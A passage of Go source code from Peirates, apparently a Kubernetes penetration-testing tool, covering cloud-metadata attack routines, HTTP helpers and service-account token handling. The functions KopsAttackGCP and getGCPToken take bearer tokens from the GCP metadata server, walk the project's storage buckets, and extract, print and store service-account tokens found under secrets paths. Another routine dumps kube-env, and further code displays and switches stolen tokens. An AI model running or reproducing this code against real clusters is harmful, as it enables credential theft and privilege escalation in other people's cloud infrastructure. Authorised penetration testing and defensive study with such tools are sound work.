now.Add(time.Duration(token.Expires)) 60 | return token.Token, expiration, nil 61 | } else { 62 | errorStr := "[-] Error - could not find token in returned body text: " + string(reqTokenRaw) 63 | println(errorStr) 64 | return "", time.Now(), errors.New(errorStr) 65 | } 66 | } 67 | 68 | func KopsAttackGCP(serviceAccounts *[]ServiceAccount) (err error) { 69 | var storeTokens string 70 | var placeTokensInStore bool 71 | 72 | println(` 73 | [1] Store all tokens found in Peirates data store 74 | [2] Retrieve all tokens - I will copy and paste 75 | `) 76 | fmt.Printf("\nPeirates (Kops Attack - GCP):># ") 77 | 78 | _, err = fmt.Scanln(&storeTokens) 79 | if err != nil { 80 | println("Problem with scanln: %v", err) 81 | } 82 | storeTokens = strings.TrimSpace(storeTokens) 83 | 84 | if storeTokens == "1" { 85 | placeTokensInStore = true 86 | } 87 | 88 | token, _, err := GetGCPBearerTokenFromMetadataAPI("default") 89 | if err != nil { 90 | msg := "[-] Could not get GCP default token from metadata API" 91 | println(msg) 92 | return errors.New(msg) 93 | } else { 94 | println("[+] Got default token for GCP - preparing to use it for GCS:", token) 95 | } 96 | 97 | // Need to get project ID from metadata API 98 | var headers []HeaderLine 99 | headers = []HeaderLine{ 100 | HeaderLine{"Metadata-Flavor", "Google"}, 101 | } 102 | projectID, _, err := GetRequest("http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id", headers, false) 103 | if err != nil { 104 | return err 105 | } 106 | if (projectID == "") || (strings.HasPrefix(projectID, "ERROR:")) { 107 | msg := "[-] Could not get GCP project from metadata API" 108 | println(msg) 109 | return errors.New(msg) 110 | } 111 | println("[+] Got numberic project ID", projectID) 112 | 113 | // Get a list of buckets, maintaining the same header and adding two lines 114 | headers = []HeaderLine{ 115 | HeaderLine{"Authorization", "Bearer " + token}, 116 | HeaderLine{"Accept", "json"}, 117 | HeaderLine{"Metadata-Flavor", "Google"}} 118 | 119 | // curl -s -H 'Metadata-Flavor: Google' -H "Authorization: Bearer $(cat bearertoken)" -H "Accept: json" https://www.googleapis.com/storage/v1/b/?project=$(cat projectid) 120 | urlListBuckets := "https://www.googleapis.com/storage/v1/b/?project=" + projectID 121 | bucketListRaw, _, err := GetRequest(urlListBuckets, headers, false) 122 | if err != nil { 123 | return err 124 | } 125 | if (bucketListRaw == "") || (strings.HasPrefix(bucketListRaw, "ERROR:")) { 126 | msg := "[-] blank bucket list or error retriving bucket list" 127 | println(msg) 128 | return errors.New(msg) 129 | } 130 | bucketListLines := strings.Split(string(bucketListRaw), "\n") 131 | 132 | // Build our list of bucket URLs 133 | var bucketUrls []string 134 | for _, line := range bucketListLines { 135 | if strings.Contains(line, "selfLink") { 136 | url := strings.Split(line, "\"")[3] 137 | bucketUrls = append(bucketUrls, url) 138 | } 139 | } 140 | 141 | // In every bucket URL, look at the objects 142 | // Each bucket has a self-link line. For each one, run that self-link line with /o appended to get an object list. 143 | // We use the same headers[] from the previous GET request. 144 | eachbucket: 145 | for _, line := range bucketUrls { 146 | println("Checking bucket for credentials:", line) 147 | urlListObjects := line + "/o" 148 | bodyListObjects, _, err := GetRequest(urlListObjects, headers, false) 149 | if (err != nil) || (bodyListObjects == "") || (strings.HasPrefix(bodyListObjects, "ERROR:")) { 150 | continue 151 | } 152 | objectListLines := strings.Split(string(bodyListObjects), "\n") 153 | 154 | // Run through the object data, finding selfLink lines with URL-encoded /secrets/ in them. 155 | for _, line := range objectListLines { 156 | if strings.Contains(line, "selfLink") { 157 | if strings.Contains(line, "%2Fsecrets%2F") { 158 | objectURL := strings.Split(line, "\"")[3] 159 | // Find the substring that tells us this service account token's name 160 | start := strings.LastIndex(objectURL, "%2F") + 3 161 | serviceAccountName := objectURL[start:] 162 | println("\n[+] Getting service account for:", serviceAccountName) 163 | 164 | // Get the contents of the bucket to get the service account token 165 | saTokenURL := objectURL + "?alt=media" 166 | 167 | // We use the same headers[] from the previous GET request. 168 | bodyToken, statusCode, err := GetRequest(saTokenURL, headers, false) 169 | if (err != nil) || (bodyToken == "") || (strings.HasPrefix(bodyToken, "ERROR:")) || (statusCode != 200) { 170 | continue eachbucket 171 | } 172 | tokenLines := strings.Split(string(bodyToken), "\n") 173 | 174 | for _, line := range tokenLines { 175 | // Now parse this line to get the token 176 | encodedToken := strings.Split(line, "\"")[3] 177 | token, err := base64.StdEncoding.DecodeString(encodedToken) 178 | if err != nil { 179 | println("[-] Could not decode token.") 180 | } else { 181 | tokenString := string(token) 182 | println(tokenString) 183 | 184 | if placeTokensInStore { 185 | tokenName := "GCS-acquired: " + string(serviceAccountName) 186 | println("[+] Storing token as:", tokenName) 187 | AddNewServiceAccount(tokenName, tokenString, "GCS Bucket", serviceAccounts) 188 | } 189 | } 190 | 191 | } 192 | 193 | } 194 | } 195 | } 196 | } 197 | 198 | return nil 199 | 200 | } 201 | 202 | func attackKubeEnvGCP(interactive bool) { 203 | // Make a request for kube-env, in case it is in the instance attributes, as with a number of installers 204 | 205 | var headers = []HeaderLine{ 206 | {"Metadata-Flavor", "Google"}, 207 | } 208 | kubeEnv, statusCode, err := GetRequest("http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env", headers, false) 209 | if err != nil { 210 | fmt.Println("[-] Error - could not perform request http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env/") 211 | fmt.Println("Error was", err) 212 | pauseToHitEnter(interactive) 213 | return 214 | } 215 | if (kubeEnv == "") || (strings.HasPrefix(kubeEnv, "ERROR:")) || (statusCode != 200) { 216 | println("[-] Error - could not perform request http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env/") 217 | if statusCode != 200 { 218 | fmt.Printf("[-] Attempt to get kube-env script failed with status code %d\n", statusCode) 219 | } 220 | pauseToHitEnter(interactive) 221 | return 222 | } 223 | kubeEnvLines := strings.Split(string(kubeEnv), "\n") 224 | for _, line := range kubeEnvLines { 225 | println(line) 226 | } 227 | } 228 | 229 | func getGCPToken(interactive bool) { 230 | // TODO: Store the GCP token and display, to bring this inline with the GCP functionality. 231 | 232 | // Make a request for a list of service account(s) 233 | var headers []HeaderLine 234 | headers = []HeaderLine{ 235 | {"Metadata-Flavor", "Google"}, 236 | } 237 | url := "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" 238 | svcAcctListRaw, _, err := GetRequest(url, headers, false) 239 | if (err != nil) || (svcAcctListRaw == "") || (strings.HasPrefix(svcAcctListRaw, "ERROR:")) { 240 | pauseToHitEnter(interactive) 241 | return 242 | } 243 | 244 | // Parse the output service accounts into svcAcctListLines 245 | svcAcctListLines := strings.Split(string(svcAcctListRaw), "\n") 246 | 247 | // For each line found found, request a token corresponding to that line and print it. 248 | for _, line := range svcAcctListLines { 249 | 250 | if strings.TrimSpace(string(line)) == "" { 251 | continue 252 | } 253 | account := strings.TrimRight(string(line), "/") 254 | 255 | fmt.Printf("\n[+] GCP Credentials for account %s\n\n", account) 256 | token, _, err := GetGCPBearerTokenFromMetadataAPI(account) 257 | if err == nil { 258 | println(token) 259 | } 260 | } 261 | println(" ") 262 | } 263 | -------------------------------------------------------------------------------- /http_utils.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | // http_utils.go contains URL requests 4 | 5 | import ( 6 | "bytes" 7 | "crypto/tls" 8 | "crypto/x509" 9 | "encoding/json" 10 | "errors" 11 | "fmt" 12 | "io" 13 | "io/ioutil" 14 | "net" 15 | "net/http" 16 | "net/url" 17 | "os" 18 | "strconv" 19 | "strings" 20 | "time" 21 | ) 22 | 23 | // HeaderLine contains the left hand side (header name) and right hand side (header value) of an HTTP header. 24 | type HeaderLine struct { 25 | LHS string 26 | RHS string 27 | } 28 | 29 | // DoKubernetesAPIRequest makes an API request to a kubernetes API server, 30 | // using the connection parameters and authentication from the provided 31 | // ServerInfo. It marshals the provided query structure to JSON, and 32 | // unmarshalls the response JSON to the response structure pointer. 33 | // For an example of usage, see kubectlAuthCanI. 34 | func DoKubernetesAPIRequest(cfg ServerInfo, httpVerb, apiPath string, query interface{}, response interface{}) error { 35 | 36 | queryJSON, err := json.Marshal(query) 37 | if err != nil { 38 | fmt.Printf("[-] KubernetesAPIRequest failed marshalling %s to JSON: %s\n", query, err.Error()) 39 | return err 40 | } 41 | 42 | jsonReader := bytes.NewReader(queryJSON) 43 | remotePath := cfg.APIServer + "/" + apiPath 44 | req, err := http.NewRequest(httpVerb, remotePath, jsonReader) 45 | if err != nil { 46 | fmt.Printf("[-] KubernetesAPIRequest failed building a request from URL %s : %s\n", remotePath, err.Error()) 47 | return err 48 | } 49 | 50 | req.Header.Add("Authorization", "Bearer "+cfg.Token) 51 | req.Header.Add("Content-Type", "application/json") 52 | req.Header.Add("Accept", "application/json") 53 | 54 | responseJSON, err := DoHTTPRequestAndGetBody(req, true, false, cfg.CAPath) 55 | if err != nil { 56 | fmt.Printf("[-] KubernetesAPIRequest failed to access the kubernetes API: %s\n", err.Error()) 57 | return err 58 | } 59 | 60 | err = json.Unmarshal(responseJSON, response) 61 | if err != nil { 62 | fmt.Printf("[-] KubernetesAPIRequest failed to unmarshal JSON %s: %s\n", responseJSON, err.Error()) 63 | return err 64 | } 65 | 66 | return nil 67 | } 68 | 69 | // DoHTTPRequestAndGetBody performs an HTTP request, and returns the full 70 | // body of the reponse as a string. If ignoreTLSErrors is true, all TLS 71 | // errors, such as invalid certificates, will be ignored. If caCertPath is 72 | // not an empty string, a TLS certificate will be read from the provided path 73 | // and added to the pool of valid certificates. 74 | func DoHTTPRequestAndGetBody(req *http.Request, https bool, ignoreTLSErrors bool, caCertPath string) ([]byte, error) { 75 | 76 | client := &http.Client{ 77 | Timeout: 5 * time.Second, 78 | } 79 | 80 | if https { 81 | 82 | caCertPool, err := x509.SystemCertPool() 83 | 84 | if err != nil && caCertPath == "" { 85 | fmt.Printf("[-] DoHTTPRequestAndGetBody failed to get system cert pool: %s\n", err.Error()) 86 | return []byte{}, err 87 | } 88 | 89 | if caCertPath != "" { 90 | caCert, err := os.ReadFile(caCertPath) 91 | if err != nil { 92 | fmt.Printf("[-] DoHTTPRequestAndGetBody failed reading CA cert from %s: %s\n", caCertPath, err.Error()) 93 | return []byte{}, err 94 | } 95 | caCertPool.AppendCertsFromPEM(caCert) 96 | } 97 | 98 | client = &http.Client{ 99 | Transport: &http.Transport{ 100 | TLSClientConfig: &tls.Config{ 101 | RootCAs: caCertPool, 102 | InsecureSkipVerify: ignoreTLSErrors, 103 | }, 104 | }, 105 | } 106 | } 107 | 108 | responseHTTP, err := client.Do(req) 109 | if err != nil { 110 | fmt.Printf("[-] DoHTTPRequestAndGetBody failed to perform the request: %s\n", err.Error()) 111 | return []byte{}, err 112 | } 113 | 114 | responseBody, err := ioutil.ReadAll(responseHTTP.Body) 115 | if err != nil { 116 | fmt.Printf("[-] DoHTTPRequestAndGetBody failed to read HTTP response body: %s\n", err.Error()) 117 | return []byte{}, err 118 | } 119 | 120 | if responseHTTP.StatusCode < 200 || responseHTTP.StatusCode > 299 { 121 | fmt.Printf("[-] DoHTTPRequestAndGetBody got a %s status instead of a successful 2XX status. Failing and printing response: \n%s\n", responseHTTP.Status, string(responseBody)) 122 | return []byte{}, fmt.Errorf("DoHTTPRequestAndGetBody failed with status %s", responseHTTP.Status) 123 | } 124 | 125 | return responseBody, err 126 | } 127 | 128 | // GetRequest is a simple helper function for making HTTP GET requests to the 129 | // provided URL with custom headers, and the option to ignore TLS errors. 130 | // For a more advanced helper, see DoHTTPRequestAndGetBody. 131 | func GetRequest(url string, headers []HeaderLine, ignoreTLSErrors bool) (string, int, error) { 132 | 133 | req, err := http.NewRequest("GET", url, nil) 134 | client := &http.Client{} 135 | 136 | if err != nil { 137 | fmt.Printf("[-] GetRequest failed to construct an HTTP request from URL %s : %s\n", url, err.Error()) 138 | return "", 999, err 139 | } 140 | 141 | for _, header := range headers { 142 | req.Header.Add(header.LHS, header.RHS) 143 | } 144 | 145 | response, err := client.Do(req) 146 | if err != nil { 147 | fmt.Printf("[-] GetRequest could not perform request to %s : %s\n", url, err.Error()) 148 | return "", 998, err 149 | } 150 | defer response.Body.Close() 151 | body, _ := io.ReadAll(response.Body) 152 | 153 | return string(body), response.StatusCode, nil 154 | } 155 | 156 | func createHTTPrequest(method string, urlWithoutValues string, headers []HeaderLine, paramLocation string, params map[string]string) (*http.Request, error) { 157 | var err error 158 | 159 | // Store a URL starting point that we may put values on. 160 | urlWithData := urlWithoutValues 161 | 162 | // Create a data structure for values sent in the body of the request. 163 | 164 | var dataSection *strings.Reader = nil 165 | var contentLength string 166 | 167 | // If there are parameters, add them to the end of urlWithData 168 | 169 | const headerContentType = "Content-Type" 170 | const headerValFormURLEncoded = "application/x-www-form-urlencoded" 171 | 172 | if len(params) > 0 { 173 | 174 | if paramLocation == "url" { 175 | urlWithData = urlWithData + "?" 176 | 177 | for key, value := range params { 178 | urlWithData = urlWithData + key + "=" + value + "&" 179 | } 180 | 181 | // Strip the final & off the query string 182 | urlWithData = strings.TrimSuffix(urlWithData, "&") 183 | 184 | } else if paramLocation == "body" { 185 | 186 | // Add a Content-Type by default that curl would use with -d 187 | // Content-Type: application/x-www-form-urlencoded 188 | contentTypeFormURLEncoded := true 189 | foundContentType := false 190 | for _, header := range headers { 191 | if header.LHS == headerContentType { 192 | foundContentType = true 193 | if header.RHS != headerValFormURLEncoded { 194 | contentTypeFormURLEncoded = false 195 | } 196 | } 197 | } 198 | // Add a Content-Type header. 199 | if !foundContentType { 200 | headers = append(headers, HeaderLine{LHS: headerContentType, RHS: headerValFormURLEncoded}) 201 | } 202 | 203 | // Now place the values in the body, encoding if content type is x-www-form-urlencoded 204 | if contentTypeFormURLEncoded { 205 | 206 | data := url.Values{} 207 | for key, value := range params { 208 | if Verbose { 209 | fmt.Printf("key[%s] value[%s]\n", key, value) 210 | } 211 | data.Set(key, value) 212 | } 213 | encodedData := data.Encode() 214 | 215 | dataSection = strings.NewReader(encodedData) 216 | contentLength = strconv.Itoa(len(encodedData)) 217 | } else { 218 | var bodySection string 219 | for key, value := range params { 220 | bodySection = bodySection + key + value + "\n" 221 | } 222 | dataSection = strings.NewReader(bodySection) 223 | contentLength = strconv.Itoa(len(bodySection)) 224 | 225 | } 226 | } else { 227 | println("paramLocation was not url or body.") 228 | return nil, nil 229 | } 230 | } 231 | 232 | fmt.Println("[+] Using method " + method + " for URL " + urlWithData) 233 | 234 | var request *http.Request 235 | // Build the request, adding in any headers found so far. 236 | if dataSection != nil { 237 | request, err = http.NewRequest(method, urlWithData, dataSection) 238 | request.Header.Add("Content-Length", contentLength) 239 | } else { 240 | request, err = http.NewRequest(method, urlWithData, nil) 241 | } 242 | if err != nil { 243 | println("[-] Error handling data: ", err) 244 | } 245 | for _, header := range headers { 246 | request.Header.Add(header.LHS, header.RHS) 247 | } 248 | 249 | return request, nil 250 | } 251 | 252 | func curlNonWizard(arguments ...string) (request *http.Request, https bool, ignoreTLSErrors bool, caCertPath string, err error) { 253 | 254 | // Scan through the arguments for a method 255 | method := "GET" 256 | var fullURL string 257 | params := make(map[string]string) 258 | 259 | var skipArgument bool 260 | 261 | for i, argument := range arguments { 262 | if skipArgument { 263 | skipArgument = false 264 | continue 265 | } 266 | 267 | if argument == "-X" { 268 | // Method is being set 269 | method = arguments[i+1] 270 | if Verbose { 271 | println("DEBUG: found argument to set method: -X " + method) 272 | } 273 | 274 | // Skip the next argument, since we've captured it here already 275 | skipArgument = true 276 | 277 | } else if argument == "-k" { 278 | ignoreTLSErrors = true 279 | } else if argument == "-d" { 280 | data := arguments[i+1] 281 | 282 | // Strip quotation marks if present 283 | if strings.HasPrefix(data, "\"") && strings.HasSuffix(data, "\"") { 284 | data = data[1 : len(data)-1] 285 | } 286 | // Strip single quotation marks if present 287 | if strings.HasPrefix(data, "'") && strings.HasSuffix(data, "'") { 288 | data = data[1 : len(data)-1] 289 | } 290 | 291 | if Verbose { 292 | println("DEBUG: found argument -d " + data) 293 | } 294 | 295 | // Parse the argument 296 | if strings.Contains(data, "=") { 297 | keyValuePair := strings.Split(data, "=") 298 | params[keyValuePair[0]] = url.QueryEscape(keyValuePair[1]) 299 | } else { 300 | fmt.Printf("ERROR - parameter %s does not contain an = sign - please resubmit this with any -d arguments followed by key=value\n", data) 301 | return nil, false, false, "", errors.New("parameter did not contain key=value pairs") 302 | } 303 | 304 | // Skip the next argument, since we've captured it here already 305 | skipArgument = true 306 | 307 | } else if strings.HasPrefix(argument, "http://") { 308 | fullURL = argument 309 | } else if strings.HasPrefix(argument, "https://") { 310 | fullURL = argument 311 | https = true 312 | // TODO: Allow user to enter a caCertPath? 313 | caCertPath = "" 314 | } 315 | 316 | } 317 | 318 | var headers []HeaderLine 319 | paramLocation := "url" 320 | if method == "POST" { 321 | paramLocation = "body" 322 | } 323 | 324 | // Make the request and get the response. 325 | request, err = createHTTPrequest(method, fullURL, headers, paramLocation, params) 326 | return request, https, ignoreTLSErrors, caCertPath, err 327 | 328 | } 329 | 330 | func GetMyIPAddress(interfaceName string) (string, error) { 331 | 332 | iface, err := net.InterfaceByName(interfaceName) 333 | if err != nil { 334 | fmt.Printf("Error retrieving interface %s: %v\n", interfaceName, err) 335 | return "", err 336 | } 337 | addrs, err := iface.Addrs() 338 | if err != nil { 339 | fmt.Printf("Error retrieving addresses for interface %s: %v\n", interfaceName, err) 340 | return "", err 341 | } 342 | for _, addr := range addrs { 343 | ipNet, ok := addr.(*net.IPNet) 344 | if ok && !ipNet.IP.IsLoopback() && ipNet.IP.To4() != nil { 345 | return ipNet.IP.String(), nil 346 | } 347 | } 348 | return "", errors.New("Could not find a valid IP address for this interface") 349 | } 350 | 351 | // GetMyIPAddressesNative gets a list of IP addresses available via Golang's Net library 352 | func GetMyIPAddressesNative() []string { 353 | 354 | var ipAddresses []string 355 | 356 | ifaces, err := net.Interfaces() 357 | if err != nil { 358 | println("ERROR: could not get interface list") 359 | return nil 360 | } 361 | for _, iface := range ifaces { 362 | addrs, err := iface.Addrs() 363 | if err != nil { 364 | println("ERROR: could not get interface information") 365 | return nil 366 | } 367 | 368 | for _, addr := range addrs { 369 | var ip net.IP 370 | switch v := addr.(type) { 371 | case *net.IPNet: 372 | ip = v.IP 373 | case *net.IPAddr: 374 | ip = v.IP 375 | } 376 | 377 | ipString := ip.String() 378 | if ipString != "127.0.0.1" { 379 | println(ipString) 380 | ipAddresses = append(ipAddresses, ipString) 381 | } 382 | 383 | } 384 | } 385 | return ipAddresses 386 | } 387 | -------------------------------------------------------------------------------- /service_account_utils.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "encoding/base64" 5 | "encoding/json" 6 | "errors" 7 | "fmt" 8 | "log" 9 | "os" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | // SERVICE ACCOUNT MANAGEMENT functions 15 | 16 | // ServiceAccount stores service account information. 17 | type ServiceAccount struct { 18 | Name string // Service account name 19 | Token string // Service account token 20 | DiscoveryTime time.Time // Time the service account was discovered 21 | DiscoveryMethod string // How the service account was discovered (file on disk, secrets, user input, etc.) 22 | } 23 | 24 | // ClientCertificateKeyPair stores certificate and key information for one principal. 25 | type ClientCertificateKeyPair struct { 26 | Name string // Client cert-key pair name 27 | // ClientKeyPath string // Client key file path 28 | // ClientCertificatePath string // Client cert file path 29 | ClientKeyData string // Client key data 30 | ClientCertificateData string // Client cert data 31 | APIServer string // URL like https://10.96.0.1:443 32 | CACert string // Content of a CA cert 33 | } 34 | 35 | type JWTComponents struct { 36 | Header map[string]interface{} 37 | Payload map[string]interface{} 38 | Signature string 39 | } 40 | 41 | // AddNewServiceAccount adds a new service account to the existing slice, but only if the the new one is unique 42 | // Return whether one was added - if it wasn't, it's a duplicate. 43 | func AddNewServiceAccount(name, token, discoveryMethod string, serviceAccountList *[]ServiceAccount) bool { 44 | 45 | // Confirm we don't have this service account already. 46 | for _, sa := range *serviceAccountList { 47 | if strings.TrimSpace(sa.Name) == strings.TrimSpace(name) { 48 | if Verbose { 49 | println("DEBUG: found a service account token we already had: " + sa.Name) 50 | } 51 | return false 52 | } 53 | } 54 | 55 | *serviceAccountList = append(*serviceAccountList, 56 | ServiceAccount{ 57 | Name: name, 58 | Token: token, 59 | DiscoveryTime: time.Now(), 60 | DiscoveryMethod: discoveryMethod, 61 | }) 62 | 63 | return true 64 | } 65 | 66 | func MakeClientCertificateKeyPair(name, clientCertificateData, clientKeyData, APIServer, CACert string) ClientCertificateKeyPair { 67 | return ClientCertificateKeyPair{ 68 | Name: name, 69 | ClientKeyData: clientKeyData, 70 | ClientCertificateData: clientCertificateData, 71 | APIServer: APIServer, 72 | CACert: CACert, 73 | } 74 | } 75 | 76 | func acceptServiceAccountFromUser() (ServiceAccount, error) { 77 | var err error 78 | println("\nPlease paste in a new service account token or hit ENTER to maintain current token.") 79 | serviceAccount := ServiceAccount{ 80 | Name: "", 81 | Token: "", 82 | DiscoveryTime: time.Now(), 83 | DiscoveryMethod: "User Input", 84 | } 85 | println("\nPaste the service account token and hit ENTER:") 86 | serviceAccount.Token, err = ReadLineStripWhitespace() 87 | if err != nil { 88 | println("Problem with white space: %v", err) 89 | return serviceAccount, err 90 | } 91 | if serviceAccount.Token == "" { 92 | return serviceAccount, errors.New("No token provided") 93 | } 94 | 95 | println("\nWhat do you want to name this service account?") 96 | serviceAccount.Name, err = ReadLineStripWhitespace() 97 | if err != nil { 98 | println("Problem with reading in name: %v", err) 99 | serviceAccount.Name = "Unnamed" 100 | } 101 | 102 | return serviceAccount, nil 103 | } 104 | 105 | func assignServiceAccountToConnection(account ServiceAccount, info *ServerInfo) { 106 | info.TokenName = account.Name 107 | info.Token = account.Token 108 | 109 | if Verbose { 110 | println("DEBUG: Setting token to %s", info.Token) 111 | } 112 | 113 | // Zero out any client certificate + key, so it's clear what to authenticate with. 114 | info.ClientCertData = "" 115 | info.ClientKeyData = "" 116 | info.ClientCertName = "" 117 | 118 | } 119 | 120 | func assignAuthenticationCertificateAndKeyToConnection(keypair ClientCertificateKeyPair, info *ServerInfo) { 121 | 122 | // Write out the CACert to a path 123 | const tmpFileFormat = "*-ca.crt" 124 | 125 | file, err := os.CreateTemp("/tmp", tmpFileFormat) 126 | if err != nil { 127 | log.Fatal(err) 128 | } 129 | CAPath := file.Name() 130 | 131 | if err != nil { 132 | println("ERROR: could not open for writing: " + CAPath) 133 | return 134 | } 135 | defer file.Close() 136 | 137 | _, err2 := file.WriteString(keypair.CACert) 138 | if err2 != nil { 139 | println("ERROR: could not write certificate authority cert to " + CAPath) 140 | return 141 | } 142 | 143 | info.CAPath = CAPath 144 | info.ClientCertData = keypair.ClientCertificateData 145 | info.ClientKeyData = keypair.ClientKeyData 146 | info.ClientCertName = keypair.Name 147 | info.APIServer = keypair.APIServer 148 | if Verbose { 149 | println("DEBUG: Switching API server to: " + info.APIServer) 150 | } 151 | info.Namespace = "default" 152 | 153 | // Zero out any service account token, so it's clear what to authenticate with. 154 | info.TokenName = "" 155 | info.Token = "" 156 | 157 | } 158 | 159 | func listServiceAccounts(serviceAccounts []ServiceAccount, connectionString ServerInfo, logToFile bool, outputFileName string) { 160 | println("\nAvailable Service Accounts:") 161 | // Build a string of the service accounts, with the current one marked. 162 | var output string 163 | for i, account := range serviceAccounts { 164 | if account.Name == connectionString.TokenName { 165 | output += fmt.Sprintf("> [%d] %s\n", i, account.Name) 166 | } else { 167 | output += fmt.Sprintf(" [%d] %s\n", i, account.Name) 168 | } 169 | } 170 | outputToUser(output, logToFile, outputFileName) 171 | } 172 | 173 | func switchServiceAccounts(serviceAccounts []ServiceAccount, connectionString *ServerInfo, logToFile bool, outputFileName string) { 174 | var err error 175 | listServiceAccounts(serviceAccounts, *connectionString, logToFile, outputFileName) 176 | println("\nEnter service account number or exit to abort: ") 177 | var tokNum int 178 | var input string 179 | _, err = fmt.Scanln(&input) 180 | if input == "exit" { 181 | return 182 | } 183 | 184 | _, err = fmt.Sscan(input, &tokNum) 185 | if err != nil { 186 | fmt.Printf("Error parsing service account selection: %s\n", err.Error()) 187 | } else if tokNum < 0 || tokNum >= len(serviceAccounts) { 188 | fmt.Printf("Service account %d does not exist!\n", tokNum) 189 | } else { 190 | assignServiceAccountToConnection(serviceAccounts[tokNum], connectionString) 191 | fmt.Printf("Selected %s // %s\n", connectionString.TokenName, connectionString.Token) 192 | } 193 | return 194 | } 195 | 196 | func displayServiceAccountTokenInteractive(serviceAccounts []ServiceAccount, connectionString *ServerInfo, logToFile bool, outputFileName string) { 197 | var err error 198 | listServiceAccounts(serviceAccounts, *connectionString, false, outputFileName) 199 | 200 | println("\nEnter service account number or exit to abort: ") 201 | var tokNum int 202 | var input string 203 | _, err = fmt.Scanln(&input) 204 | if input == "exit" { 205 | return 206 | } 207 | 208 | _, err = fmt.Sscan(input, &tokNum) 209 | if err != nil { 210 | fmt.Printf("Error parsing service account selection: %s\n", err.Error()) 211 | } else if tokNum < 0 || tokNum >= len(serviceAccounts) { 212 | fmt.Printf("Service account %d does not exist!\n", tokNum) 213 | } else { 214 | fmt.Printf("Service account %s is accessed with token %s\n", serviceAccounts[tokNum].Name, serviceAccounts[tokNum].Token) 215 | } 216 | return 217 | } 218 | 219 | // decodeJWTBase64urlSegment decodes a JWT base64url segment into JSON 220 | func decodeJWTBase64urlSegment(seg string) ([]byte, error) { 221 | // Pad the base64 string if needed 222 | if l := len(seg) % 4; l > 0 { 223 | seg += strings.Repeat("=", 4-l) 224 | } 225 | return base64.URLEncoding.DecodeString(seg) 226 | } 227 | 228 | // ParseJWT takes a JWT string and decodes it into header, payload, and signature 229 | func ParseJWT(token string) (*JWTComponents, error) { 230 | parts := strings.Split(token, ".") 231 | if len(parts) != 3 { 232 | return nil, fmt.Errorf("invalid JWT: expected 3 parts, got %d", len(parts)) 233 | } 234 | 235 | headerBytes, err := decodeJWTBase64urlSegment(parts[0]) 236 | if err != nil { 237 | return nil, fmt.Errorf("error decoding header: %v", err) 238 | } 239 | 240 | payloadBytes, err := decodeJWTBase64urlSegment(parts[1]) 241 | if err != nil { 242 | return nil, fmt.Errorf("error decoding payload: %v", err) 243 | } 244 | 245 | var header, payload map[string]interface{} 246 | if err := json.Unmarshal(headerBytes, &header); err != nil { 247 | return nil, fmt.Errorf("invalid JSON in header: %v", err) 248 | } 249 | if err := json.Unmarshal(payloadBytes, &payload); err != nil { 250 | return nil, fmt.Errorf("invalid JSON in payload: %v", err) 251 | } 252 | 253 | return &JWTComponents{ 254 | Header: header, 255 | Payload: payload, 256 | Signature: parts[2], 257 | }, nil 258 | } 259 | 260 | func printJWT(tokenString string) error { 261 | var err error 262 | 263 | parts, err := ParseJWT(tokenString) 264 | if err != nil { 265 | println("Problem with token thingy: %v", err) 266 | return err 267 | } 268 | 269 | fmt.Println("JWT Header: ", parts.Header) 270 | fmt.Println("JWT Header: ", parts.Payload) 271 | 272 | return nil 273 | } 274 | 275 | func parseServiceAccountJWT_return_sub(tokenString string) (int64, string, error) { 276 | 277 | // Parse out the name of the service account via the "sub" field. 278 | 279 | // Here's what a sample JWT looks like: 280 | // { 281 | // "aud": ["https://kubernetes.default.svc.cluster.local"], 282 | // "exp": 1725391365, 283 | // "iat": 1693855365, 284 | // "iss": "https://kubernetes.default.svc.cluster.local", 285 | // "kubernetes.io": { 286 | // "namespace": "default", 287 | // "pod": { 288 | // "name": "web", 289 | // "uid": "..." 290 | // }, 291 | // "serviceaccount": { 292 | // "name": "default", 293 | // "uid": "..." 294 | // }, 295 | // "warnafter": 1693858972 296 | // }, 297 | // "nbf": 1693855365, 298 | // "sub": "system:serviceaccount:default:default" 299 | // } 300 | 301 | // Split the JWT into its three components 302 | parts := strings.Split(tokenString, ".") 303 | if len(parts) != 3 { 304 | errorMsg := fmt.Sprintf("Invalid token: %s", tokenString) 305 | println(errorMsg) 306 | return 0, "", errors.New(errorMsg) 307 | } 308 | 309 | // Decode the payload (second part) 310 | payload, err := base64.RawURLEncoding.DecodeString(parts[1]) 311 | if err != nil { 312 | errorMsg := fmt.Sprintf("Error decoding payload: %v", err) 313 | println(errorMsg) 314 | return 0, "", errors.New(errorMsg) 315 | } 316 | 317 | // Parse the JSON payload 318 | var claims map[string]interface{} 319 | if err := json.Unmarshal(payload, &claims); err != nil { 320 | errorMsg := fmt.Sprintf("Error parsing JSON: %v", err) 321 | println(errorMsg) 322 | return 0, "", errors.New(errorMsg) 323 | } 324 | 325 | // Extract the "sub" field 326 | if sub, ok := claims["sub"].(string); ok { 327 | return 0, sub, nil 328 | } else { 329 | errorMsg := "Error: 'sub' field not found or not a string" 330 | println(errorMsg) 331 | return 0, "", errors.New(errorMsg) 332 | } 333 | 334 | } 335 | 336 | func getServiceAccountTokenFromSecret(connectionString ServerInfo, serviceAccounts *[]ServiceAccount, interactive bool) { 337 | println("\nPlease enter the name of the secret for which you'd like the contents: ") 338 | var secretName string 339 | _, err := fmt.Scanln(&secretName) 340 | if err != nil { 341 | println("[-] Error reading secret name: ", err) 342 | pauseToHitEnter(interactive) 343 | return 344 | } 345 | 346 | secretJSON, _, err := runKubectlSimple(connectionString, "get", "secret", secretName, "-o", "json") 347 | if err != nil { 348 | println("[-] Could not retrieve secret") 349 | pauseToHitEnter(interactive) 350 | return 351 | } 352 | 353 | var secretData map[string]interface{} 354 | err = json.Unmarshal(secretJSON, &secretData) 355 | if err != nil { 356 | println("[-] Error unmarshaling secret data: ", err) 357 | pauseToHitEnter(interactive) 358 | return 359 | } 360 | 361 | secretType := secretData["type"].(string) 362 | 363 | /* #gosec G101 - this is not a hardcoded credential */ 364 | if secretType != "kubernetes.io/service-account-token" { 365 | println("[-] This secret is not a service account token.") 366 | pauseToHitEnter(interactive) 367 | return 368 | } 369 | 370 | opaqueToken := secretData["data"].(map[string]interface{})["token"].(string) 371 | token, err := base64.StdEncoding.DecodeString(opaqueToken) 